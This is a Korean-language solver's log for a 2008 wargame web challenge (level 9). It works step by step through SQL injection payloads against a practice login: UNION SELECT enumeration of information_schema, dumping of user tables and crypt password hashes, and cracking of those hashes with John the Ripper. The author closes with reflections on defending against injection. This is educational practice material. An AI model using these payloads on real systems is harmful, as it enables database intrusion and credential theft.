| NEW!! WEBGAME LEVEL 9 & BIN LEVEL 2 두 문제 추가(2008.9.21) |
|
-- 풀이 현황 -- | |||||||||||||||||||||||||||
| 웹 게임 | 바이너리 게임 | ||||||||||||||||||||||||||
|
| |||||||||||||||||||||||||||
|
| ||||||||||||||||||||||||||
ID에 admin이라고 치고
레벨 5에서 풀었던 우회방법으로 OPTIONS을 입력하자
그러면
Hello^^ admin It's me!
--------------------------------------------------------------------------------
admin's information...
name: admin
group: admin
address: SejongRyo Jongro-gu Seoul Sourth-Korea.
phone number: 010-1234-5678
hitnum: 1985
--------------------------------------------------------------------------------
Wow! U got administrator's power.
But, Problem not yet solved!.
--------------------------------------------------------------------------------
Hint:
not yet! : )~
이렇게 뜬다. 여기서
인증 : Basic Z3Vlc3Q6Z3Vlc3Q=
이렇게 치면 guest/guest쳤던 모드로 들어간다.
쿠키에서의 차이점은 모르겠고
ID에 admin ' 하고 OPTIONS을 주면
아래처럼 나오는것 봐서는
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin ''' at line 1
SQL Injection 허용이 되는군요
제 생각에는 ID / PW 입력란에 admin ' -- SQL Injection 을 응용하면 풀이법도 있을법도 합니다.
1) admin's password
2) 어드민 계정의 인증 (게스트 계정의 인증처럼 Basic Z3Vlc3Q6Z3Vlc3Q= )
2가지만 어떻게 알아내면 될것도 같기도 한데 말이죠^^
여기서 중요한것은 mysql이란점 #가 주석표시임
3) admin' # 함으로써, 데이터베이스 출력 가능함.. 이어서 어떤 명령어 붙여서 passwd를 읽기만 하면 될듯
admin' or 1=1 limit 0,1 # -> neodal
Hello^^ admin' or 1=1 # It's me!
--------------------------------------------------------------------------------
neodal's information...
name: neodal
group: user
address: Yongbong-dong Puk-gu Gwang-ju South-Korea.
phone number:
hitnum: 233
--------------------------------------------------------------------------------
admin' or 1=1 limit 1,2 # -> guest
Hello^^ admin' or 1=1 limit 1,2 # It's me!
--------------------------------------------------------------------------------
guest's information...
name: guest
group: user
address: Nothing.
phone number: 010-0000-0000
hitnum: 8006
--------------------------------------------------------------------------------
admin' or 1=1 limit 2,3 # -> admin
--------------------------------------------------------------------------------
admin's information...
name: admin
group: admin
address: SejongRyo Jongro-gu Seoul Sourth-Korea.
phone number: 010-1234-5678
hitnum: 2013
--------------------------------------------------------------------------------
Limit 2,3 이 올바른 표현은 아님,
원래 표현은 2번째부터 3번째인데, 위에서는 한번만 표시되기 때문에 ....... 별뜻없이 순서만 정하도록 한것임
limit 1하나씩만 해도 되려나
자 지금부터 문제를 어떻게 푸느냐,,,,,,, 가 중요한데
테이블명이나, 컬럼을 어떻게 알까나
어떠한 방법이 있을까?
admin' union all select table_schema,table_name,3,4,5,6 from information_schema.tables limit 18,19 #
이용하면 키 테이블 찾을 수 있음
keytable
user_info
Hello^^ admin' union all select table_name,table_schema,table_schema,4,5,6 from information_schema.tables limit 19,20 # It's me!
--------------------------------------------------------------------------------
user_info's information...
name: user_info
group: httpauth
address: 4
phone number: 5
hitnum: 6
--------------------------------------------------------------------------------
데이타베이스 / 테이블명
httpauth / user_info 19, 20 / ? / [테이블 6개]
httpauth / keytable 18, 19 / ? / [테이블 6개]
admin' union all select null,null,null,null,null,null from httpauth.keytable #
admin' union all select 1,2,3,4,5,6 from information_schema.columns where TABLE_SCHEMA = 'httpauth' limit 2,3 #
admin' union all select TABLE_SCHEMA,null,TABLE_NAME,COLUMN_NAME,null,null from information_schema.columns where TABLE_SCHEMA = 'httpauth' limit 2,3 #
user_info?
컬럼명 / 테이블
no 1,2 keytable
value 2,3 keytable
user_name 3,4 user_info
user_passwd 4,5 user_info
user_group 5,6 user_info
user_addr 6,7 user_info
user_phone 7,8 user_info
user_hitnum 8,9 user_info
admin' union all select user_name,null,user_passwd,null,null,null from httpauth.user_info limit 1,2 #
Hello^^ admin' union all select user_name,null,user_passwd,null,null,null from httpauth.user_info limit 1,2 # It's me!
--------------------------------------------------------------------------------
neodal's information...
name: neodal
group: cdJEdGEB2ymhs
address:
phone number:
hitnum:
--------------------------------------------------------------------------------
Hint:
not yet! : )~
admin' union all select user_name,null,user_passwd,null,null,null from httpauth.user_info limit 2,3 #
--------------------------------------------------------------------------------
admin's information...
name: admin
group: RiEQLHLk1a65w
address:
phone number:
hitnum:
--------------------------------------------------------------------------------
admin' union all select user_name,null,user_passwd,user_group,user_phone,null from httpauth.user_info limit 3,4 #
--------------------------------------------------------------------------------
guest's information...
name: guest
group: PcefFmdfcmCNw
address:
phone number:
hitnum:
정리하면
guest / guest
guest / PcefFmdfcmCNw
admin / RiEQLHLk1a65w
neodal / cdJEdGEB2ymhs
13자리 영문자+숫자로 이루어진 암호문 .... -_- 뭘까나
ENCRYPT(str[,salt]) : 유닉스 crypt()를 사용하여 str을 암호화한다.
salt는 사용할 암호문자로 두 글자이다.
【예제】
mysql> SELECT ENCRYPT('abc'), ENCRYPT('abc','01');
+----------------+---------------------+
| ENCRYPT('abc') | ENCRYPT('abc','01') |
+----------------+---------------------+
| AA75xC/4BNCm. | 01nWjX2nMqj0w |
+----------------+---------------------+
[출처] mysql_ 암호화 방법들 ..|작성자 anyes83
<?
$test="guest";
// $answer="PcefFmdfcmCNw";
$test2=crypt($test,"Pc");
echo("<br>$test2");
?>
PcefFmdfcmCNw 여기서 "Pc"로 주면 나오는데
그러면
guest / guest
guest / PcefFmdfcmCNw / guest
admin / RiEQLHLk1a65w / thisisaa?
neodal / cdJEdGEB2ymhs / 1004
John the ripper로 돌리면 위에 처럼 패스워드가 나오는데
neodal은 로그인 잘 되는데, 왜 admin 은 않될까? ㅡ_ㅡ
admin은 Ri로 압축된 crypt 화일의 "?????"이지 않을까 싶다.
역함수가 있으면 좋으려만 ? -- hash라서 역함수는 불가능, hash 결과값 비교만으로 가능
admin/thisisaa는 로그인은 않되고 / 그러면 답이 무엇이냐 -_-
가능성
1. open_file(파일여는것 이용하는방법)
2. 같은 Hash 값을 같는 다른 admin password의 존재 가능성
3. 검색되는 테이블은 몇개 없던 것 같기도 한데( 다른 테이블 ) ?
4. 음... 또 뭐가 있을까 어디서 보았더라 this is a dream ??...으로 시작하는거
3,4번이 답이로구나!
admin' union all select no,null,value,null,null,null from httpauth.keytable limit 1,2 #
thisisaa 뜻을 알겠구나, 이제야--;
이문제에서 배운것
sql injection의 기초와, 적용될때의 즐거움과, 권한의 중요성
항상 시스템의 기본과 구조에 익숙해질 것
John the ripper의 성능과 유용성 굿!!
sql injection 보안에 관하여 프로그래밍 할 것
설정의 중요성
위의 쿼리문에서 limit 2,3만을 바꿈으로써 아래와 같이 다양한 값이 나오게 되는데
limit 중요한거 아닌가요 -_-;;;??
list 순서값이 아닐까 생각되는데..
컬럼명 / 테이블
no 1,2 keytable
value 2,3 keytable
user_name 3,4 user_info
user_passwd 4,5 user_info
user_group 5,6 user_info
user_addr 6,7 user_info
user_phone 7,8 user_info
user_hitnum 8,9 user_info
admin / RiEQLHLk1a65w / thisisaa? 나오는 이유는
Union 을 써서 출력할때 출력자리값이 예를 들어 10자리까지밖에 지원이 않되서 저렇게 나왔다고 함
근데 난 13자리 아니었음 -_-;;;;;;;;;;;;;;;;;;;;;;;; 저게 유닉스 crypt 함수써서 저렇게 된건지 못 찾았을텐데...
나중에 시간날때 테스트를 해봐야할듯